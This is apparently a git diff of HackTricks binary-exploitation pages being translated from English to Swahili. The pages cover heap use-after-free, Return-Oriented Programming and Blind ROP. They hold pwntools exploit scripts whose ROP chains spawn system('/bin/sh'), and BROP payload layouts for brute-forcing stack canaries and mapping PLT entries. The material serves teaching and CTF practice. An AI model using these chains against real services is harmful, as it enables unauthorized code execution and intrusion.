- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
- `c` will be pointing to the previous `a` and filled with the `a's`.
Mfano:
- Unapotoa 300 bytes (`a`), kisha 250 bytes (`b`), unachomoa `a` na kuomba tena 250 bytes (`c`).
- Wakati unachomoa `a`, inaenda kwenye bin isiyo na mpangilio.
- Ikiwa kisha unahitaji 250 bytes tena, mtoaji anapata `a` kwenye tail na kuigawanya, akirudisha sehemu inayofaa ombi lako na kuacha zingine kwenye bin.
- `c` itakuwa ikielekeza kwenye `a` ya awali na kujazwa na `a's`.
```c
char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);
```
### Fastbins
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
Fastbins zinatumika kwa vipande vidogo vya kumbukumbu. Tofauti na unsorted bins, fastbins zinaongeza vipande vipya kwenye kichwa, na kuunda tabia ya last-in-first-out (LIFO). Ikiwa unahitaji kipande kidogo cha kumbukumbu, allocator itavuta kutoka kichwa cha fastbin.
Example:
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
- When you free them in any order, the freed chunks are added to the fastbin's head.
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
Mfano:
- Unapoweka vipande vinne vya byte 20 kila kimoja (`a`, `b`, `c`, `d`).
- Unapofungua kwa mpangilio wowote, vipande vilivyofunguliwa vinaongezwa kwenye kichwa cha fastbin.
- Ikiwa kisha unahitaji kipande cha byte 20, allocator itarudisha kipande kilichofunguliwa hivi karibuni kutoka kichwa cha fastbin.
```c
char *a = malloc(20);
char *b = malloc(20);
@ -48,17 +45,16 @@ b = malloc(20); // c
c = malloc(20); // b
d = malloc(20); // a
```
## Other References & Examples
## Mreferensi Mengine & Mifano
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
- ARM64. Tumia baada ya kuachiliwa: Tengeneza kitu cha mtumiaji, kiache, tengeneza kitu kinachopata kipande kilichoachiliwa na ruhusu kuandika ndani yake, **kuandika upya nafasi ya user->password** kutoka kwa ile ya awali. Tumia tena mtumiaji ili **kupita ukaguzi wa nenosiri**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note.
- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
- Programu inaruhusu kuunda noti. Noti itakuwa na taarifa za noti katika malloc(8) (ikiwa na kiashiria kwa kazi inayoweza kuitwa) na kiashiria kwa malloc(\<size>) nyingine yenye maudhui ya noti.
- Shambulio litakuwa kuunda noti 2 (note0 na note1) zikiwa na maudhui makubwa ya malloc kuliko saizi ya taarifa za noti na kisha kuziachilia ili ziingie kwenye fast bin (au tcache).
- Kisha, tengeneza noti nyingine (note2) yenye saizi ya maudhui 8. Maudhui yatakuwa katika note1 kwani kipande kitarejelewa, ambapo tunaweza kubadilisha kiashiria cha kazi ili kiashirie kazi ya ushindi na kisha Tumia-Baada-ya-Kuachiliwa noti1 ili kuita kiashiria kipya cha kazi.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
- Inawezekana kugawa kumbukumbu, kuandika thamani inayotakiwa, kuachilia, kuigawa tena na kwa kuwa data ya awali bado ipo, itatendewa kulingana na muundo mpya unaotarajiwa katika kipande, hivyo kufanya iwezekane kuweka thamani ili kupata bendera.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
- Katika kesi hii inahitajika kuandika 4 ndani ya kipande maalum ambacho ni cha kwanza kinachotolewa (hata baada ya kuachilia kwa nguvu yote). Kila kipande kipya kinachotolewa kina nambari yake katika orodha ya kiashiria. Kisha, toa vipande 4 (+ kile kilichotolewa awali), cha mwisho kitakuwa na 4 ndani yake, kiache na kulazimisha kuigawa tena kwa cha kwanza, ambacho kitatumia kipande cha mwisho kilichoachiliwa ambacho ni kile chenye 4 ndani yake.

View File

@ -2,45 +2,44 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Taarifa za Msingi**
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
**Return-Oriented Programming (ROP)** ni mbinu ya juu ya unyakuzi inayotumika kukwepa hatua za usalama kama **No-Execute (NX)** au **Data Execution Prevention (DEP)**. Badala ya kuingiza na kutekeleza shellcode, mshambuliaji anatumia vipande vya msimbo vilivyopo tayari katika binary au katika maktaba zilizopakiwa, vinavyojulikana kama **"gadgets"**. Kila gadget kwa kawaida huishia na amri ya `ret` na inatekeleza operesheni ndogo, kama vile kuhamasisha data kati ya register au kufanya operesheni za hesabu. Kwa kuunganisha gadgets hizi pamoja, mshambuliaji anaweza kujenga payload ili kufanya operesheni zisizo na mipaka, kwa ufanisi akikwepa ulinzi wa NX/DEP.
### How ROP Works
### Jinsi ROP Inavyofanya Kazi
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
1. **Kuhujumu Mwelekeo wa Udhibiti**: Kwanza, mshambuliaji anahitaji kuhujumu mwelekeo wa udhibiti wa programu, kwa kawaida kwa kutumia udhaifu wa buffer overflow ili kuandika anwani ya kurudi iliyohifadhiwa kwenye stack.
2. **Kuunganisha Gadgets**: Mshambuliaji kisha anachagua kwa makini na kuunganisha gadgets ili kufanya vitendo vinavyotakiwa. Hii inaweza kujumuisha kuandaa hoja za wito wa kazi, kuita kazi hiyo (kwa mfano, `system("/bin/sh")`), na kushughulikia usafishaji wowote unaohitajika au operesheni za ziada.
3. **Utekelezaji wa Payload**: Wakati kazi iliyo hatarini inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza mnyororo wa gadgets.
### Tools
### Zana
Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
Kwa kawaida, gadgets zinaweza kupatikana kwa kutumia [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) au moja kwa moja kutoka **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## ROP Chain in x86 Example
## Mfano wa Mnyororo wa ROP katika x86
### **x86 (32-bit) Calling conventions**
### **x86 (32-bit) Mikataba ya Kuita**
- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
- **cdecl**: Mtu anayeita anasafisha stack. Hoja za kazi zinawekwa kwenye stack kwa mpangilio wa kinyume (kulia-kushoto). **Hoja zinawekwa kwenye stack kutoka kulia kwenda kushoto.**
- **stdcall**: Inafanana na cdecl, lakini mtu anayeitwa ndiye mwenye jukumu la kusafisha stack.
### **Finding Gadgets**
### **Kugundua Gadgets**
First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
Kwanza, hebu tuweke dhana kwamba tumegundua gadgets zinazohitajika ndani ya binary au maktaba zake zilizopakiwa. Gadgets tunazovutiwa nazo ni:
- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
- Additionally, we have the address of the `system()` function available.
- `pop eax; ret`: Gadget hii inachukua thamani ya juu ya stack na kuhamasisha kwenye register ya `EAX` na kisha inarudi, ikitupa udhibiti wa `EAX`.
- `pop ebx; ret`: Inafanana na ile ya juu, lakini kwa register ya `EBX`, ikiruhusu udhibiti wa `EBX`.
- `mov [ebx], eax; ret`: Inahamisha thamani katika `EAX` kwenda kwenye eneo la kumbukumbu linaloonyeshwa na `EBX` na kisha inarudi. Hii mara nyingi inaitwa **write-what-where gadget**.
- Zaidi ya hayo, tuna anwani ya kazi ya `system()` inapatikana.
### **ROP Chain**
### **Mnyororo wa ROP**
Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
1. A `ret` instruction for alignment purposes (optional)
2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
3. Placeholder for the return address from `system()`
4. `"/bin/sh"` string address (parameter for system function)
Kwa kutumia **pwntools**, tunaandaa stack kwa ajili ya utekelezaji wa mnyororo wa ROP kama ifuatavyo tukilenga kutekeleza `system('/bin/sh')`, angalia jinsi mnyororo unavyoanza na:
1. Amri ya `ret` kwa ajili ya kusawazisha (hiari)
2. Anwani ya kazi ya `system` (tukidhani ASLR imezimwa na libc inajulikana, maelezo zaidi katika [**Ret2lib**](ret2lib/))
3. Mahali pa kurudi kutoka kwa `system()`
4. Anwani ya string ya `"/bin/sh"` (hoja kwa kazi ya system)
```python
from pwn import *
@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
## ROP Chain katika mfano wa x64
## ROP Chain in x64 Example
### **x64 (64-bit) Mikataba ya Kuita**
### **x64 (64-bit) Calling conventions**
- Inatumia **System V AMD64 ABI** mikataba ya kuita kwenye mifumo kama Unix, ambapo **hoja za kwanza sita za nambari au viashiria zinapitishwa katika register `RDI`, `RSI`, `RDX`, `RCX`, `R8`, na `R9`**. Hoja za ziada zinapitishwa kwenye stack. Thamani ya kurudi inawekwa katika `RAX`.
- Mikataba ya kuita ya **Windows x64** inatumia `RCX`, `RDX`, `R8`, na `R9` kwa hoja za kwanza nne za nambari au viashiria, huku hoja za ziada zikipitishwa kwenye stack. Thamani ya kurudi inawekwa katika `RAX`.
- **Registers**: Registers za 64-bit zinajumuisha `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, na `R8` hadi `R15`.
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
#### **Kupata Gadgets**
#### **Finding Gadgets**
Kwa kusudi letu, hebu tuzingatie gadgets ambazo zitaturuhusu kuweka register **RDI** (ili kupitisha string **"/bin/sh"** kama hoja kwa **system()**) na kisha kuita kazi ya **system()**. Tutadhani tumetambua gadgets zifuatazo:
For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
- **pop rdi; ret**: Inachukua thamani ya juu ya stack na kuiweka katika **RDI** na kisha inarudi. Muhimu kwa kuweka hoja yetu kwa **system()**.
- **ret**: Kurudi rahisi, muhimu kwa usawa wa stack katika hali fulani.
- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
- **ret**: A simple return, useful for stack alignment in some scenarios.
And we know the address of the **system()** function.
Na tunajua anwani ya kazi ya **system()**.
### **ROP Chain**
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
Hapa chini kuna mfano wa kutumia **pwntools** kuandaa na kutekeleza ROP chain inayolenga kutekeleza **system('/bin/sh')** kwenye **x64**:
```python
from pwn import *
@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
Katika mfano huu:
In this example:
- Tunatumia **`pop rdi; ret`** gadget kuweka **`RDI`** kwenye anwani ya **`"/bin/sh"`**.
- Tunaruka moja kwa moja kwenye **`system()`** baada ya kuweka **`RDI`**, na anwani ya **system()** katika mnyororo.
- **`ret_gadget`** inatumika kwa usawa ikiwa mazingira ya lengo yanahitaji hivyo, ambayo ni ya kawaida zaidi katika **x64** kuhakikisha usawa sahihi wa stack kabla ya kuita kazi.
- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
### Usawa wa Stack
### Stack Alignment
**The x86-64 ABI** inahakikisha kwamba **stack inakuwa na usawa wa byte 16** wakati **amri ya call** inatekelezwa. **LIBC**, ili kuboresha utendaji, **inatumia SSE instructions** (kama **movaps**) ambazo zinahitaji usawa huu. Ikiwa stack haijawa na usawa sahihi (kumanisha **RSP** si mara kadhaa ya 16), kuita kazi kama **system** kutashindwa katika **ROP chain**. Ili kurekebisha hili, ongeza tu **ret gadget** kabla ya kuita **system** katika mnyororo wako wa ROP.
**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
## x86 vs x64 main difference
## Tofauti kuu kati ya x86 na x64
> [!TIP]
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
> Kwa sababu **x64 inatumia register kwa ajili ya hoja chache za kwanza,** mara nyingi inahitaji gadgets chache zaidi kuliko x86 kwa ajili ya kuita kazi rahisi, lakini kupata na kuunganisha gadgets sahihi kunaweza kuwa ngumu zaidi kutokana na kuongezeka kwa idadi ya register na nafasi kubwa ya anwani. Kuongezeka kwa idadi ya register na nafasi kubwa ya anwani katika usanifu wa **x64** kunatoa fursa na changamoto kwa maendeleo ya exploit, hasa katika muktadha wa Return-Oriented Programming (ROP).
## ROP chain in ARM64 Example
## Mfano wa ROP chain katika ARM64
### **ARM64 Basics & Calling conventions**
### **Misingi ya ARM64 & Mikataba ya Kuita**
Check the following page for this information:
Angalia ukurasa ufuatao kwa habari hii:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Protections Against ROP
## Ulinzi Dhidi ya ROP
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Ulinzi huu unafanya kuwa ngumu kutumia ROP kwani anwani za gadgets hubadilika kati ya utekelezaji.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Katika BOF, inahitajika kupita kwenye hifadhi ya stack canary ili kuandika viashiria vya kurudi ili kutumia mnyororo wa ROP.
- **Ukosefu wa Gadgets**: Ikiwa hakuna gadgets za kutosha, haitakuwa inawezekana kuunda mnyororo wa ROP.
## ROP based techniques
## Mbinu za msingi za ROP
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
Kumbuka kwamba ROP ni mbinu tu ili kutekeleza msimbo usio na mipaka. Kulingana na ROP, mbinu nyingi za Ret2XXX zilikuwa zimeendelezwa:
- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
- **Ret2lib**: Tumia ROP kuita kazi zisizo na mipaka kutoka kwa maktaba iliyopakiwa na vigezo vya kiholela (kawaida kitu kama `system('/bin/sh')`.
{{#ref}}
ret2lib/
{{#endref}}
- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
- **Ret2Syscall**: Tumia ROP kuandaa wito kwa syscall, e.g. `execve`, na kufanya itekeleze amri zisizo na mipaka.
{{#ref}}
rop-syscall-execv/
{{#endref}}
- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
- **EBP2Ret & EBP Chaining**: Ya kwanza itatumia EBP badala ya EIP kudhibiti mtiririko na ya pili ni sawa na Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa pia inahitajika kudhibiti EIP).
{{#ref}}
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
{{#endref}}
## Other Examples & References
## Mifano Mingine & Marejeleo
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
- 64 bit, Pie na nx zimewezeshwa, hakuna canary, andika RIP na anwani ya `vsyscall` kwa kusudi pekee la kurudi kwenye anwani inayofuata kwenye stack ambayo itakuwa ni kuandika sehemu ya anwani ili kupata sehemu ya kazi inayovuja bendera
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, hakuna ASLR, ROP gadget kufanya stack iweze kutekelezwa na kuruka kwenye shellcode katika stack
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,113 +4,113 @@
## Basic Information
The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
This attack is based on the following scenario:
Lengo la shambulio hili ni kuwa na uwezo wa **kuitumia ROP kupitia overflow ya buffer bila taarifa yoyote kuhusu binary iliyo hatarini**.\
Shambulio hili linategemea hali ifuatayo:
- A stack vulnerability and knowledge of how to trigger it.
- A server application that restarts after a crash.
- Uthibitisho wa stack na maarifa ya jinsi ya kuichochea.
- Programu ya seva inayorejelewa baada ya kuanguka.
## Attack
### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
### **1. Pata offset iliyo hatarini** ukituma herufi moja zaidi hadi kutambua hitilafu ya seva
### **2. Brute-force canary** to leak it
### **2. Brute-force canary** ili kuvuja
### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
### **3. Brute-force RBP na RIP** anwani katika stack ili kuvuja
You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
Unaweza kupata maelezo zaidi kuhusu michakato hii [hapa (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) na [hapa (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Find the stop gadget**
### **4. Pata gadget ya kusimamisha**
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
Gadget hii kimsingi inaruhusu kuthibitisha kwamba kitu cha kuvutia kimefanywa na gadget ya ROP kwa sababu utekelezaji haukuanguka. Kawaida, gadget hii itakuwa kitu ambacho **kinasimamisha utekelezaji** na iko mwishoni mwa mchain ya ROP wakati wa kutafuta gadgets za ROP ili kuthibitisha gadget maalum ya ROP ilitekelezwa.
### **5. Find BROP gadget**
### **5. Pata gadget ya BROP**
This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
Teknolojia hii inatumia gadget ya [**ret2csu**](ret2csu.md). Na hii ni kwa sababu ikiwa unapata gadget hii katikati ya maagizo fulani unapata gadgets za kudhibiti **`rsi`** na **`rdi`**:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
These would be the gadgets:
Hizi zitakuwa gadgets:
- `pop rsi; pop r15; ret`
- `pop rdi; ret`
Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
Tazama jinsi kwa gadgets hizo inawezekana **kudhibiti hoja 2** za kazi ya kuita.
Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
Pia, angalia kwamba gadget ya ret2csu ina **saini ya kipekee sana** kwa sababu itakuwa ikipiga 6 registers kutoka kwenye stack. Hivyo kutuma mchain kama:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
Ikiwa **STOP inatekelezwa**, hii kimsingi inamaanisha **anwani inayopiga registers 6** kutoka kwenye stack ilitumika. Au kwamba anwani iliyotumika pia ilikuwa anwani ya STOP.
In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
Ili **kuondoa chaguo hili la mwisho** mchain mpya kama ifuatavyo inatekelezwa na haipaswi kutekeleza gadget ya STOP ili kuthibitisha kwamba ya awali ilipiga registers 6:
`'A' * offset + canary + rbp + ADDR`
Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
Kujua anwani ya gadget ya ret2csu, inawezekana **kudhani anwani za gadgets za kudhibiti `rsi` na `rdi`**.
### 6. Find PLT
### 6. Pata PLT
The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
Meza ya PLT inaweza kutafutwa kutoka 0x400000 au kutoka **anwani ya RIP iliyovuja** kutoka kwenye stack (ikiwa **PIE** inatumika). **Kuingia** kwenye meza hiyo ni **kutenganishwa na 16B** (0x10B), na wakati kazi moja inaitwa seva haianguki hata kama hoja haziko sahihi. Pia, kuangalia anwani ya kuingia katika **PLT + 6B pia haianguki** kwani ni msimbo wa kwanza unaotekelezwa.
Therefore, it's possible to find the PLT table checking the following behaviours:
Kwa hivyo, inawezekana kupata meza ya PLT kuangalia tabia zifuatazo:
- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
- `'A' * offset + canary + rbp + ADDR + STOP` -> hakuna kuanguka
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> hakuna kuanguka
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> hakuna kuanguka
### 7. Finding strcmp
### 7. Kutafuta strcmp
The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
Kazi ya **`strcmp`** inaweka register **`rdx`** kwa urefu wa mfuatano unaolinganishwa. Kumbuka kwamba **`rdx`** ni **hoja ya tatu** na tunahitaji iwe **kubwa kuliko 0** ili baadaye kutumia `write` kuvuja programu.
It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
Inawezekana kupata eneo la **`strcmp`** katika PLT kulingana na tabia yake kwa kutumia ukweli kwamba sasa tunaweza kudhibiti hoja 2 za kwanza za kazi:
- strcmp(\<non read addr>, \<non read addr>) -> crash
- strcmp(\<non read addr>, \<read addr>) -> crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- strcmp(\<read addr>, \<read addr>) -> no crash
- strcmp(\<anwani isiyo ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
- strcmp(\<anwani isiyo ya kusoma>, \<anwani ya kusoma>) -> kuanguka
- strcmp(\<anwani ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
- strcmp(\<anwani ya kusoma>, \<anwani ya kusoma>) -> hakuna kuanguka
It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
Inawezekana kuangalia hii kwa kuita kila kuingia katika meza ya PLT au kwa kutumia **PLT slow path** ambayo kimsingi inajumuisha **kuita kuingia katika meza ya PLT + 0xb** (ambayo inaita **`dlresolve`**) ikifuatwa katika stack na **nambari ya kuingia ambayo mtu anataka kuchunguza** (ikianza na sifuri) ili kuchanganua kuingia zote za PLT kutoka ya kwanza:
- strcmp(\<non read addr>, \<read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> no crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<anwani isiyo ya kusoma>, \<anwani ya kusoma>) -> kuanguka
